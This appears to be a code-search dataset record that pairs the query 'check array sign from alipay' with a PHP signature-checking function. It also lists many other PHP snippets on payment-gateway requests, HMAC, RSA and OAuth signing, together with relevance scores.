$this->setServer($transaction->transaction_mode) : false; \n !empty($transaction->transaction_id) ? $id = $transaction->transaction_id : $id = $this->login;\n !empty($transaction->transaction_pw) ? $pw = $transaction->transaction_pw : $pw = $this->password;\n\n $this->payment->cc_number = $this->scrubVar($this->payment->cc_number);\n\n if($transacton['exception']) { \n \n $aEntry = array(\n 'id' => $transaction->item_id,\n 'name' => $transaction->item_name,\n 'desc' => $transaction->item_desc,\n 'qty' => $transaction->item_qty,\n 'price' => $transaction->amount,\n 'taxable' => $transaction->item_taxable\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n $this->cart->total = $transaction->amount;\n\n } else {\n\n if (is_array($this->cart->items)) {\n $amount = 0;\n $nLoop = 0;\n foreach ($this->cart->items AS $cKey => $aItem ) { \n $aItem = (array) $aItem; \n $itemPrice = ($aItem['price'] + $aItem['setupfee'] + $aItem['handle_charge'] + $aItem['gift_charge']);\n if ( $nLoop < 30 ) { \n $nLoop++;\n $aEntry = array(\n 'id' => 'item'.$nLoop,\n 'name' => substr(trim($aItem['sku']), 0, 28 ),\n 'desc' => substr( $aItem['title'].' '.strip_tags( $aItem['attribute_text'] ), 0, 254 ),\n 'qty' => $aItem['qty'],\n 'price' => $itemPrice,\n 'taxable' => $aItem['taxable']\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n }\n $amount += ($aItem['qty'] * $itemPrice); \n } \n\n $this->cart->amount = $amount;\n\n if ($this->cart->promotional_discount > 0) {\n $products = array();\n \n $aEntry = array(\n 'id' => 'item1',\n 'name' => 'DISCOUNT',\n 'desc' => 'Complex/Discounted transaction - ' . number_format($this->cart->promotional_discount,2),\n 'qty' => 1,\n 'price' => $this->cart->amount,\n 'taxable' => 1\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n \n } \n\n $this->cart->total = (\n ($this->cart->amount + $this->cart->taxes + $this->cart->handle_charge + $this->cart->ship_charge) - \n $this->cart->promotional_discount);\n\n } else { \n \n $aEntry = array(\n 'id' => 'item1',\n 'name' => 'SIMPLE',\n 'desc' => 'NO ITEM INFORMATION PASSED',\n 'qty' => 1,\n 'price' => $this->cart->amount,\n 'taxable' => 1\n ); \n $products[] = \"x_line_item=\".urlencode( implode( '<|>', $aEntry)) . '&'; \n\n $this->cart->total = (\n ($this->cart->amount + $this->cart->taxes + $this->cart->handle_charge + $this->cart->ship_charge) - \n $this->cart->promotional_amount);\n } \n\n } \n\n empty($this->cart->amount) ? $this->cart->amount = '0.00' : $this->cart->amount = $this->scrubVar($this->cart->amount, 'MONEY');\n empty($this->cart->taxes) ? $this->cart->taxes = '0.00' : $this->cart->taxes = $this->scrubVar($this->cart->taxes, 'MONEY');\n empty($this->cart->handle_charge) ? $this->cart->handle_charge = '0.00' : $this->cart->handle_charge = $this->scrubVar($this->cart->handle_charge, 'MONEY');\n empty($this->cart->ship_charge) ? $this->cart->ship_charge = '0.00' : $this->cart->ship_charge = $this->scrubVar($this->cart->ship_charge, 'MONEY');\n // empty($this->cart->gift_charge) ? $this->cart->gift_charge = '0.00' : $this->cart->gift_charge = $this->scrubVar($this->cart->gift_charge, 'MONEY');\n\n $aAuthorizeNet = array (\n \"x_login\" => $id,\n \"x_version\" => \"3.1\",\n \"x_test_request\" => $cType,\n \"x_delim_char\" => \"|\",\n \"x_delim_data\" => \"TRUE\",\n \"x_url\" => \"FALSE\",\n \"x_type\" => \"AUTH_CAPTURE\",\n \"x_method\" => \"CC\",\n \"x_tran_key\" => $pw, // \n \"x_invoice_num\" => $this->cart->session,\n \"x_relay_response\" => \"FALSE\",\n \"x_card_num\" => $transaction->payment['cc_number'],\n \"x_card_code\" => $transaction->payment['cc_cvv2'],\n \"x_exp_date\" => $transaction->payment['cc_exp_month'] . $transaction->payment['cc_exp_year'],\n \"x_description\" => $transaction->journal,\n \"x_tax\" => \"Taxes|\" . $this->scrubVar($this->cart->taxes),\n \"x_freight\" => \"Freight<|>\" . strip_tags( stripslashes($this->cart->ship_carrier) . '/handling' ) . \"<|>\" . ($this->cart->ship_charge + $this->cart->handle_charge),\n \"x_amount\" => $this->scrubVar($this->cart->total),\n \"x_company\" => $this->cart->bill_company,\n \"x_first_name\" => $this->cart->bill_name_first,\n \"x_last_name\" => $this->cart->bill_name_last,\n \"x_address\" => $this->cart->bill_address_1,\n \"x_city\" => $this->cart->bill_address_city,\n \"x_state\" => $this->cart->bill_address_state, \n \"x_zip\" => $this->cart->bill_address_postal_code,\n \"x_country\" => $this->cart->bill_country_iso_3166,\n \"x_phone\" => $this->cart->bill_address_phone,\n \"x_fax\" => $this->cart->bill_address_altphone, \n \"x_email\" => $this->cart->bill_email,\n \"x_ship_to_first_name\" => $this->cart->ship_name_first,\n \"x_ship_to_last_name\" => $this->cart->ship_name_last,\n \"x_ship_to_address\" => $this->cart->ship_address_1,\n \"x_ship_to_city\" => $this->cart->ship_address_city,\n \"x_ship_to_state\" => $this->cart->ship_address_state,\n \"x_ship_to_zip\" => $this->cart->ship_address_postal_code,\n \"x_ship_to_country\" => $this->cart->ship_country_iso_3166,\n \"x_customer_ip\" => $_SERVER['REMOTE_ADDR']\n ); \n\n $query = http_build_query($aAuthorizeNet, '', '&') . '&' . implode($products); \n\n $http = $this->curl($this->server, $query, array(), 'POST');\n\n empty($http->response) ? $response = array() : $response = explode('|', trim($http->response));\n\n ($response[0] == 4) ? $response[0] = 1 : false; \n\n $return['amount'] = $this->scrubVar($this->cart->total);\n $return['authorized'] = $response[0];\n $return['authorization_code'] = $response[4];\n $return['transaction_type'] = 'AUTH_CAPTURE';\n $return['transaction_id'] = $response[6];\n $return['message'] = '[' . strtoupper(substr($id, -4)) . ':' . $response[2] . '] [' . substr($transaction->payment['cc_number'], -4) . ']' . $response[3];\n ($this->debug) ? $return['query'] = $query : false;\n ($this->debug) ? $return['response'] = json_encode($http->response) : false;\n\n return (object) $return;\n \n }", "public function signMessage($secretKey);", "private function createSignature(array $data)\n {\n ksort($data);\n $string = '';\n foreach ($data as $key => $value) {\n $string .= $key . $value;\n }\n $string .= $this->secret;\n return hash('md5', $string);\n }", "private function signRequest($auth_header) {\r\n\t\t$signature = $this->makeBase64HmacSha256(\r\n\t\t\t\t$this->makeDataToSign($auth_header), $this->makeSigningKey($this->timestamp)\r\n\t\t);\r\n\r\n\t\t$this->verbose('signature', $signature);\r\n\t\treturn $signature;\r\n\t}", "public function signPaymentRequest($requestFields)\n {\n $base = '';\n $base .= config('payment.endPointGroupId');\n $base .= @$requestFields['client_orderid'];\n $base .= @$requestFields['amount'] * 100;\n $base .= @$requestFields['email'];\n\n return $this->signString($base, config('payment.merchantKey'));\n }", "protected function setRequestSignature($request) {\n\t\t$fields = array(\n\t\t\t\t$this->getVersion(), // APIVERSION\n\t\t\t\t$this->tid, // TID\n\t\t\t\t$this->shopID, // SHOPID\n\t\t\t\t$this->shopUserRef, // SHOPUSERREF\n\t\t\t\t$this->amount, // AMOUNT\n\t\t\t\t$this->currencyCode, // CURRENCYCODE\n\t\t\t\t$this->pan, // PAN\n\t\t\t\t$this->payInstrToken, // PAYINSTRTOKEN\n\t\t\t\t$this->expireMonth, // EXPIREMONTH\n\t\t\t\t$this->expireYear, // EXPIREYEAR\n\t\t\t\t$this->termURL, // TERMURL\n\t\t\t\t$this->description, // DESCRIPTION\n\t\t\t\t$this->addInfo1, // UDF1\n\t\t\t\t$this->addInfo2, // UDF2\n\t\t\t\t$this->addInfo3, // UDF3\n\t\t\t\t$this->addInfo4, // UDF4\n\t\t\t\t$this->addInfo5); // UDF5\n\t\t$signature = $this->getSignature($this->kSig, // KSIGN\n\t\t\t\t$fields); \n\t\t$request = $this->replaceRequest($request, \"{signature}\", $signature);\n\t\treturn $request;\n\t}", "function sloodle_signature($data) {\n \tglobal $CFG;\n\n $salt = '';\n if ( isset($CFG->sloodle_signature_salt) && ($CFG->sloodle_signature_salt != '' ) ) {\n $salt = $CFG->sloodle_signature_salt;\n } else {\n $salt = random_string(40);\n set_config('sloodle_signature_salt', $salt);\n }\n\n if (function_exists('hash_hmac')) {\n return hash_hmac('sha256', $data, $salt);\n }\n return sloodle_custom_hmac('sha1', $data, $salt);\n }", "public function pack($sig);", "protected function _signParameters(array $parameters, $key) {\n $algorithm = $this->options['SignatureMethod'];\n $stringToSign = null;\n if (2 === $this->options['SignatureVersion']) {\n $stringToSign = $this->_calculateStringToSignV2($parameters);\n// var_dump($stringToSign);\n } else {\n throw new Exception(\"Invalid Signature Version specified\");\n }\n return $this->_sign($stringToSign, $key, $algorithm);\n }", "public function getData()\n {\n $this->validateParams();\n\n $data = $this->filter($this->parameters->all());\n\n $data['service'] = $this->service;\n $data['sign'] = $this->sign($data, $this->getSignType());\n $data['sign_type'] = $this->getSignType();\n\n return $data;\n }", "private function buildSigningBase(): string {\r\n $parameterString = http_build_query($this->clientParams);\r\n return \"$this->httpMethod&\" . urlencode($this->host . $this->endpoint) . \"&\" . urlencode($parameterString);\r\n }", "function rsaSign($data,$strValidationPrvkey,$algo){\r\n //$p = openssl_pkey_get_private(file_get_contents('private.pem'));\r\n $p=openssl_pkey_get_private($strValidationPrvkey);\r\n openssl_sign($data, $signature, $p,$algo);\r\n openssl_free_key($p);\r\n return base64_encode($signature);\r\n}", "function MakeSignedRequest()\n{\n $user_id = 1;\n $request_uri = SERVER_BASE . 'services.php';\n\n // Parameters, appended to the request depending on the request method.\n // Will become the POST body or the GET query string.\n $params = array(\n 'service' => 'rest',\n 'method' => 'Version',\n 'response' => RESPONSE\n );\n\n // Obtain a request object for the request we want to make\n $req = new OAuthRequester($request_uri, 'GET', $params);\n\n // Sign the request, perform a curl request and return the results, throws OAuthException exception on an error\n $result = $req->doRequest($user_id);\n\n // $result is an array of the form: array ('code'=>int, 'headers'=>array(), 'body'=>string)\n var_dump($result);\n echo $result['body'];\n}", "public function get_signable_parameters()\n {\n // Grab all parameters\n $params = $this->parameters;\n\n // Remove oauth_signature if present\n if (isset($params['oauth_signature']))\n unset($params['oauth_signature']);\n\n // Urlencode both keys and values\n $keys = OAuthUtil::urlencode_rfc3986(array_keys($params));\n $values = OAuthUtil::urlencode_rfc3986(array_values($params));\n $params = array_combine($keys, $values);\n\n // Sort by keys (natsort)\n uksort($params, 'strcmp');\n\n // Generate key=value pairs\n $pairs = array();\n foreach ($params as $key=>$value )\n {\n if (is_array($value))\n {\n // If the value is an array, it's because there are multiple\n // with the same key, sort them, then add all the pairs\n natsort($value);\n foreach ($value as $v2)\n $pairs[] = $key . '=' . $v2;\n }\n else\n $pairs[] = $key . '=' . $value;\n }\n\n // Return the pairs, concated with &\n return implode('&', $pairs);\n }", "public function createRequestSignature(Request $request, $salt);", "function getEncodedSignature($hostName,$digestEncoded,$SS_KEY,$path)\r\n{\r\n $signatureString = \"host: \".$hostName.\"\\n(request-target): post \".$path.\"\\n\".\"digest: SHA-256=\".$digestEncoded.\"\\n\".\"v-c-merchant-id: starlock01\";\r\n $signatureByteString = utf8_encode($signatureString);\r\n $decodeKey = base64_decode($SS_KEY);\r\n $signature = base64_encode(hash_hmac(\"sha256\", $signatureByteString,\r\n $decodeKey, true));\r\n return $signature;\r\n}", "private function signature(){\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\t\t\t\n\t\t\t$first_name = $this->_request['first_name'];\t\t\n\t\t\t$last_name = $this->_request['last_name'];\t\n\t\t\t$data = $this->_request['data'];\n\t\t\t$current_datetime = new DateTime(); \n\t\t\t$sig_name = strtolower(preg_replace(\"/[\\W\\s+]/\",\"\", $first_name.'_'.$last_name.'_'.$current_datetime->format('Y-m-d_His')));\n\t\t\t$signature = base64_decode(str_replace(\"data:image/png;base64,\",\"\",$data));\n\t\t\t$result=file_put_contents(\"../signatures/\".$sig_name.\".png\",$signature);\t\n\t\t\tif($result){\n\t\t\t\t $this->response($sig_name.'.png', 200);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// If invalid inputs \"Bad Request\" status message and reason\n\t\t\t\t$error = array('status' => \"Failed\", \"msg\" => \"Signature Failed\");\n\t\t\t\t$this->response($this->json($error), 400);\t\t\t\t\t\t\n\t\t\t}\t\t\n\t\t}", "public static function encode(array $arrayToken)\n {\n // return JWT::encode($arrayToken, self::CHAVE_JWT, self::ALGORITHM);\n return JWT::encode($arrayToken, Configuration::read('authentication')['jwtKey'], Configuration::read('authentication')['algorithm']);\n }", "protected function signSsoRequest(array $wheres, $connection)\n {\n return $this->signRequest($wheres, $connection->getConfig('sso_key'));\n }", "public static function encode($array);", "function __sign_query($verb, $uri, $query, $headers, $expires=5) {\n\t\t\t/* make sure all of query and headers uses lowercased s3objects for us */\n\t\t\t$query = array_change_key_case($query, CASE_LOWER);\n\t\t\t$headers = array_change_key_case($headers, CASE_LOWER);\n\t\t\t\n\t\t\t/* nat sort our header s3objects */\n\t\t\tuksort($headers, Array($this, '__nat'));\n\n\t\t\t/* build string to sign */\n\t\t\t$parts = Array();\n\t\t\t\n\t\t\t$parts[] = strtoupper($verb);\n\t\t\t$parts[] = $headers['content-md5'];\n\t\t\t$parts[] = $headers['content-type'];\n\t\t\t\n\t\t\t/* figure out the seconds since epoch right now, and add expires seconds to it,\n\t\t\t\tthats our expires time */\n\t\t\t$expires += time();\n\t\t\t$parts[] = $expires;\n\t\t\t\n\t\t\t/* go through all headers */\n\t\t\tforeach($headers AS $s3object=>$val) {\n\t\t\t\tif (substr($s3object, 0, 6) == 'x-amz-') {\n\t\t\t\t\t/* trim $val */\n\t\t\t\t\t$val = trim($val);\n\t\t\t\t\t/* add to parts */\n\t\t\t\t\t$parts[] = $s3object.':'.$val;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif (in_array('acl', $query) || array_key_exists('acl', $query)) $uri .= '?acl';\n\t\t\tif (in_array('torrent', $query) || array_key_exists('torrent', $query)) $uri .= '?torrent';\n\n\t\t\t$parts[] = $uri;\n\t\t\t\n\t\t\t$string = implode(\"\\n\", $parts);\n\t\t\t\n\t\t\t/* return the (rest of the) query string */\n\t\t\treturn ((strpos($uri, '?') !== FALSE)?'&':'?').'Signature='.\n\t\t\t\turlencode(base64_encode(hash_hmac('sha1', $string, $this->GetSecretKey(), TRUE))).\n\t\t\t\t'&Expires='.$expires.'&AWSAccesss3objectId='.$this__awss3objectid;\n\t\t}", "function multisecure($array)\n {\n foreach ($array as $key => $value) {\n $array[$key] = secure($value);\n }\n return $array;\n }", "public static function enc($arr)\n {\n\n return base64_encode(serialize($arr));\n\n\n }", "public function generateSignature(string $toSign): GenerateSignatureResponse;", "public static function amazon_s34_sign($string = '')\n\t\t{\n\t\t\t$s3c = array(); // Initialize config. keys.\n\t\t\tforeach($GLOBALS['WS_PLUGIN__']['s2member']['o'] as $option => $option_value)\n\t\t\t\tif(preg_match('/^amazon_s3_files_/', $option) && ($option = preg_replace('/^amazon_s3_files_/', '', $option)))\n\t\t\t\t\t$s3c[$option] = $option_value;\n\n\t\t\t$s3_date_key = c_ws_plugin__s2member_utils_strings::hmac_sha256_sign(gmdate('Ymd'), 'AWS4'.$s3c['secret_key'], TRUE);\n\t\t\t$s3_date_region_key = c_ws_plugin__s2member_utils_strings::hmac_sha256_sign($s3c['bucket_region'], $s3_date_key, TRUE);\n\t\t\t$s3_date_region_service_key = c_ws_plugin__s2member_utils_strings::hmac_sha256_sign('s3', $s3_date_region_key, TRUE);\n\t\t\t$s3_signing_key = c_ws_plugin__s2member_utils_strings::hmac_sha256_sign('aws4_request', $s3_date_region_service_key, TRUE);\n\n\t\t\treturn c_ws_plugin__s2member_utils_strings::hmac_sha256_sign((string)$string, $s3_signing_key);\n\t\t}", "public function submitPayment()\n {\n return array('error'=>0, 'transactionReference'=>'');\n \n }", "protected function sign(Request $request, array& $options)\n {\n $signer = $options['signer'] ?? $this->signer;\n\n $options['params']['oauth_signature'] = $signer->sign(\n $request,\n $options['params'],\n $options['client'] ?? $this->client,\n $options['token'] ?? null\n );\n }", "function _signParameters(array $parameters, $key) {\n $signatureVersion = $parameters['SignatureVersion'];\n $algorithm = \"HmacSHA1\";\n $stringToSign = null;\n if (2 === $signatureVersion) {\n $algorithm = $this->_config['SignatureMethod'];\n $parameters['SignatureMethod'] = $algorithm;\n $stringToSign = $this->_calculateStringToSignV2($parameters);\n } else {\n throw new Exception(\"Invalid Signature Version specified\");\n }\n return $this->_sign($stringToSign, $key, $algorithm);\n }", "public function testRequestSigning() {\n\t\t$signer = new Auth_OAuth_Signer();\n\n\t\t// test 1\n\t\t$params = array('file'=>'vacation.jpg', 'size'=>'original', 'oauth_version'=>'1.0',\n\t\t\t\t\t'oauth_consumer_key'=>'dpf43f3p2l4k3l03', 'oauth_token'=>'nnch734d00sl2jdk',\n\t\t\t\t\t'oauth_timestamp'=>'1191242096', 'oauth_nonce'=>'kllo9940pd9333jh');\n\t\tself::build_request('GET', 'http://photos.example.net/photos', $params);\n\t\t$request = Auth_OAuth_RequestImpl::fromRequest();\n\t\t$server = new Auth_OAuth_Store_ServerImpl('key', 'kd94hf93k423kf44');\n\t\t$server->setSignatureMethods( array('PLAINTEXT', 'HMAC-SHA1') );\n\t\t$token = new Auth_OAuth_TokenImpl('token', 'pfkkdhi9sl3r4s00', 'key', 'access');\n\n\t\t$signer->sign($request, $server, $token);\n\t\t$this->assertEquals('PLAINTEXT', $request->getSignatureMethod());\n\t\t$this->assertEquals('kd94hf93k423kf44&pfkkdhi9sl3r4s00', $request->getSignature());\n\n\n\t\t// test 2\n\t\t$params = array('file'=>'vacation.jpg', 'size'=>'original', 'oauth_version'=>'1.0',\n\t\t\t\t\t'oauth_consumer_key'=>'dpf43f3p2l4k3l03', 'oauth_token'=>'nnch734d00sl2jdk',\n\t\t\t\t\t'oauth_timestamp'=>'1191242096', 'oauth_nonce'=>'kllo9940pd9333jh');\n\t\tself::build_request('GET', 'http://photos.example.net/photos', $params);\n\t\t$request = Auth_OAuth_RequestImpl::fromRequest();\n\t\t$server = new Auth_OAuth_Store_ServerImpl('key', 'kd94hf93k423kf44');\n\t\t$server->setSignatureMethods( array( 'INVALID-METHOD', 'HMAC-SHA1', 'PLAINTEXT') );\n\t\t$token = new Auth_OAuth_TokenImpl('token', 'pfkkdhi9sl3r4s00', 'key', 'access');\n\n\t\t$signer->sign($request, $server, $token);\n\t\t$this->assertEquals('HMAC-SHA1', $request->getSignatureMethod());\n\t\t$this->assertEquals('tR3+Ty81lMeYAr/Fid0kMTYa/WM=', $signer->getSignature($request, $server, $token));\n\t}", "public function encodeData(): array\n {\n return [\n hex2bin(Helper::removePrefix($this->publicKey, MinterPrefix::PUBLIC_KEY)),\n $this->coin,\n MinterConverter::convertToPip($this->stake)\n ];\n }", "public function signRequest(OAuth_Request $request, $consumer_secret, $token_secret = '');", "public static function encode(array $data, $keys = null, $sign = true)\n {\n // Validate Data.\n self::dataValidator($data, $keys);\n\n $result = [];\n\n foreach (self::handleData($data) as $item => $value) {\n\n $result[$item] = $value;\n\n if (is_array($keys)) {\n\n foreach ($keys as $key) {\n $result[$item][$key] = $sign\n ? self::sign(base64_encode($result[$item][$key]))\n : base64_encode($result[$item][$key]);\n }\n\n continue;\n }\n\n $result[$item] = $sign\n ? self::sign(base64_encode($value))\n : base64_encode($value);\n }\n\n return $result;\n }", "public function generateSignCodes() {\n $users = $this->connection->fetchAll('SELECT * FROM [reg_users]');\n \n if ($users) {\n foreach ($users as $user) {\n $data = array(\n 'signin_hash%s' => $this->generateUserHash($user, 'sign_in'),\n 'signoff_hash%s' => $this->generateUserHash($user, 'sign_off')\n );\n \n $this->connection->query('UPDATE [reg_users] SET', $data, 'WHERE [user_id] = %i', $user['user_id']);\n }\n }\n \n }", "private function signedSealed ()\n {\n $signature = getenv('HTTP_X_DROPBOX_SIGNATURE');\n if ( $signature === null || empty( $signature ) ){\n return false;\n } else {\n $httpbody = file_get_contents('php://input');\n $hmac = hash_hmac( 'sha256', $httpbody, DBX_APP_SECRET );\n if ( dbx\\Security::stringEquals( $signature, $hmac ) ) {\n return true;\n } else {\n return false;\n }\n }\n }", "public function authorizeOnBillingAgreement($requestParameters = array());", "public function checkAgreementSigned($request)\n {\n if( $request->filled('meta.participant_signature') ){\n \\App\\Participant::where('participants_details.user_id', (int)$request->input('user_id'))\n ->update(['agreement_signed' => 1]);\n }\n\n if( $request->filled('meta.worker_signature') ){\n \\App\\SupportWorker::where('support_workers_details.user_id', (int)$request->input('user_id'))->update(['agreement_signed' => 1, 'onboarding_step'=>2]);\n }\n\n if($request->filled('meta.worker_signature')){\n \\App\\ServiceProvider::where('service_provider_details.user_id', (int)$request->input('user_id'))\n ->update(['agreement_signed' => 1]);\n }\n \n }", "function signUrl($myUrlToSign, $privateKey)\n{\n // parse the url\n $url = parse_url($myUrlToSign);\n\n $urlPartToSign = $url['path'] . \"?\" . $url['query'];\n\n // Decode the private key into its binary format\n $decodedKey = decodeBase64UrlSafe($privateKey);\n\n // Create a signature using the private key and the URL-encoded\n // string using HMAC SHA1. This signature will be binary.\n $signature = hash_hmac(\"sha1\",$urlPartToSign, $decodedKey, true);\n\n $encodedSignature = encodeBase64UrlSafe($signature);\n\n return $myUrlToSign.\"&signature=\".$encodedSignature;\n}", "protected function prepareSignature($uri, &$params)\n {\n $paramsToBeSigned = $params;\n $stringToBeSigned = '';\n\n // 1. Extract all query param EXCEPT ' sign ', ' access_token ', reorder the params based on alphabetical order.\n unset($paramsToBeSigned['sign'], $paramsToBeSigned['access_token']);\n ksort($paramsToBeSigned);\n\n // 2. Concat all the param in the format of {key}{value}\n foreach ($paramsToBeSigned as $k => $v) {\n if (!is_array($v)) {\n $stringToBeSigned .= \"$k$v\";\n }\n }\n\n // 3. Append the request path to the beginning\n $stringToBeSigned = $uri . $stringToBeSigned;\n\n // 4. Wrap string generated in step 3 with app_secret.\n $stringToBeSigned = $this->getAppSecret() . $stringToBeSigned . $this->getAppSecret();\n\n // Encode the digest byte stream in hexadecimal and use sha256 to generate sign with salt(secret).\n $params['sign'] = hash_hmac('sha256', $stringToBeSigned, $this->getAppSecret());\n }", "public function testValidSignature()\n {\n $authId = key($this->keys);\n $authSecret = reset($this->keys);\n $timestamp = 1432075982;\n\n $headers = [\n 'Content-Type' => 'text/plain',\n 'X-Authorization-Timestamp' => $timestamp,\n 'Authorization' => 'acquia-http-hmac realm=\"Pipet service\",'\n . 'id=\"' . $authId . '\",'\n . 'nonce=\"d1954337-5319-4821-8427-115542e08d10\",'\n . 'version=\"2.0\",'\n . 'headers=\"\",'\n . 'signature=\"MRlPr/Z1WQY2sMthcaEqETRMw4gPYXlPcTpaLWS2gcc=\"',\n ];\n $request = new Request(\n 'GET',\n 'https://example.acquiapipet.net/v1.0/task-status/133?limit=10',\n $headers\n );\n\n $authenticator = new MockRequestAuthenticator(\n new MockKeyLoader($this->keys),\n null,\n $timestamp\n );\n\n $key = $authenticator->authenticate($request);\n\n $this->assertInstanceOf(KeyInterface::class, $key);\n $this->assertEquals($authId, $key->getId());\n $this->assertEquals($authSecret, $key->getSecret());\n }" ]
[ "0.650623", "0.6380286", "0.6008258", "0.59996367", "0.5816415", "0.5702523", "0.5696951", "0.56477493", "0.5623285", "0.56228596", "0.5597926", "0.5552943", "0.5534877", "0.55162376", "0.5496291", "0.5493025", "0.54684865", "0.5455005", "0.5423705", "0.54172915", "0.53972", "0.5388877", "0.537142", "0.5350373", "0.53474426", "0.5327741", "0.5312492", "0.5304301", "0.52792466", "0.52687836", "0.52669865", "0.5259395", "0.52485293", "0.5212547", "0.5189724", "0.51720154", "0.51651525", "0.5163071", "0.5140569", "0.51201767", "0.5118916", "0.5116717", "0.5106783", "0.5091694", "0.5078827", "0.50735086", "0.5073066", "0.507172", "0.50689614", "0.5063368", "0.5023202", "0.5014614", "0.5003659", "0.49901086", "0.49881434", "0.49816138", "0.49794188", "0.49744603", "0.4974401", "0.4963245", "0.49453047", "0.4931161", "0.4930209", "0.49138936", "0.49067554", "0.4906503", "0.49063018", "0.48856792", "0.48650342", "0.4862078", "0.48582378", "0.48527077", "0.48518685", "0.484645", "0.48425657", "0.48402643", "0.48396245", "0.4837197", "0.48294914", "0.48201156", "0.4803715", "0.4801772", "0.47915643", "0.4789487", "0.47888583", "0.47881955", "0.4785369", "0.47851422", "0.47820643", "0.47796834", "0.4768587", "0.47673434", "0.4763711", "0.47611186", "0.47526965", "0.4751744", "0.4747609", "0.4741797", "0.47403076", "0.47392553" ]
0.5970519
4
Check array sign from alipay
private function checkSign($fields, $sign) { ksort($fields); reset($fields); $signString = ''; while (list ($key, $val) = each($fields)) { $signString .= $key . '=' . $val . '&'; } $signString = substr($signString, 0, count($signString) - 2); $signed = md5($signString . $this->ifSet($this->meta['key'])); if ($signed == $sign) return true; else return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function verSign($array, $sign){\n if($sign == WxApi::genSign($array)){\n return true;\n }else{\n return false;\n }\n }", "public function getSigns();", "function verify () {\n// $aop->alipayrsaPublicKey='MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjUzhXrdJ7GDsgJ59fMLlk7hyYrXkkeGwnYD/eO2HBZh39Y9gTfLJ61Yogc7keOn2uAnZY/zBlw3n+T6mb6/5JYFgvXQi8Qzeh6BkBrNnROu+k4PjhmSbORJFoLrrIxDnsYkQ995kYYhpbS0yf2Al++55v4SrD3/YoVBhWPcRg4xI0QD94FLwhCmcCkft/ILRtUxQk2QeVPLSesvMx2mmUK2L2x2hFA8ewRoGmUdG2Fu9YFIxk//16RI+H7KI8LaoXoVDqHobPae9p0ACE7k9G5vs/cYuikSMKu+lnxghte1jNO+CqrvTP4Pes/mW4e7CEMCTAmEnsXLUrQ6FpfKMcQIDAQAB';\n return $this->aop->rsaCheckV1($_POST, NULL, \"RSA2\");\n }", "private function signedSealed ()\n {\n $signature = getenv('HTTP_X_DROPBOX_SIGNATURE');\n if ( $signature === null || empty( $signature ) ){\n return false;\n } else {\n $httpbody = file_get_contents('php://input');\n $hmac = hash_hmac( 'sha256', $httpbody, DBX_APP_SECRET );\n if ( dbx\\Security::stringEquals( $signature, $hmac ) ) {\n return true;\n } else {\n return false;\n }\n }\n }", "public function ChecksigVectors()\n {\n $ec = EcAdapterFactory::getAdapter(new Math(), EccFactory::getSecgCurves()->generator256k1());\n $privateKey = PrivateKeyFactory::fromHex('4141414141414141414141414141414141414141414141414141414141414141', false, $ec);\n\n $standard = ScriptFactory::defaultFlags();\n\n $vectors = [];\n\n // Pay to pubkey hash that succeeds\n $s0 = ScriptFactory::scriptPubKey()->payToPubKeyHash($privateKey->getPublicKey());\n $vectors[] = [\n true,\n $ec,\n $standard, // flags\n $privateKey, // privKey\n $s0,\n null, // redeemscript,\n ];\n\n // Pay to pubkey that succeeds\n $s1 = ScriptFactory::create()->push($privateKey->getPublicKey()->getBuffer())->op('OP_CHECKSIG')->getScript();\n $vectors[] = [\n true,\n $ec,\n $standard, // flags\n $privateKey, // privKey\n $s1,\n null, // redeemscript\n ];\n\n $rs = ScriptFactory::p2sh()->multisig(1, [$privateKey->getPublicKey()]);\n $vectors[] = [\n true,\n $ec,\n InterpreterInterface::VERIFY_P2SH |\n InterpreterInterface::VERIFY_WITNESS |\n InterpreterInterface::VERIFY_CLEAN_STACK\n ,\n $privateKey,\n $rs->getOutputScript(),\n $rs\n ];\n\n return $vectors;\n }", "function bank_response_simple($mode, $c = null){\n\t$vars = array('id_transaction', 'transaction_hash', 'autorisation_id', 'abo', 'montant');\n\t$response = array();\n\tforeach ($vars as $k){\n\t\tif (!is_null($v = _request($k, $c))){\n\t\t\t$response[$k] = $v;\n\t\t}\n\t}\n\n\tif (!$s = _request('sign', $c)\n\t\tOR $s!==bank_sign_response_simple($mode, $response)){\n\n\t\tspip_log(\"bank_response_simple : signature invalide\", \"bank\" . _LOG_ERREUR);\n\t\treturn false;\n\t}\n\treturn $response;\n}", "public function sign()\n {\n }", "private function checkSignature()\n {\n\n\n\n if (!defined(\"self::TOKEN\")) {\n throw new \\Exception('TOKEN is not defined!');\n }\n\n $signature = $this->getRequest()->get('signature');\n $timestamp = $this->getRequest()->get('timestamp');\n $nonce = $this->getRequest()->get('nonce');\n\n $token = self::TOKEN;\n $tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n sort($tmpArr, SORT_STRING);\n $tmpStr = implode( $tmpArr );\n $tmpStr = sha1( $tmpStr );\n $logger = $this->get('logger');\n $logger->error($signature.'==='.$tmpStr);\n if( $tmpStr == $signature ){\n return true;\n }else{\n return false;\n }\n }", "private function checkSignature()\n {\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n \n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n \n $token = TOKEN;\n $tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n sort($tmpArr, SORT_STRING);\n $tmpStr = implode( $tmpArr );\n $tmpStr = sha1( $tmpStr );\n \n if( $tmpStr == $signature ){\n return true;\n }else{\n return false;\n }\n }", "public function sign(array $args);", "function checkSign($echoStr){\r\n if(wmpBasic::checkSignature($this->cfg)){\r\n die($echoStr); \r\n }else{\r\n die('Error: checkSignature');\r\n }\r\n }", "private function checkSignature()\n {\n if (!defined(\"TOKEN\")) {\n throw new Exception('TOKEN is not defined!');\n }\n $signature = $_GET[\"signature\"];\n $timestamp = $_GET[\"timestamp\"];\n $nonce = $_GET[\"nonce\"];\n $token = TOKEN;\n $tmpArr = array($token, $timestamp, $nonce);\n // use SORT_STRING rule\n sort($tmpArr, 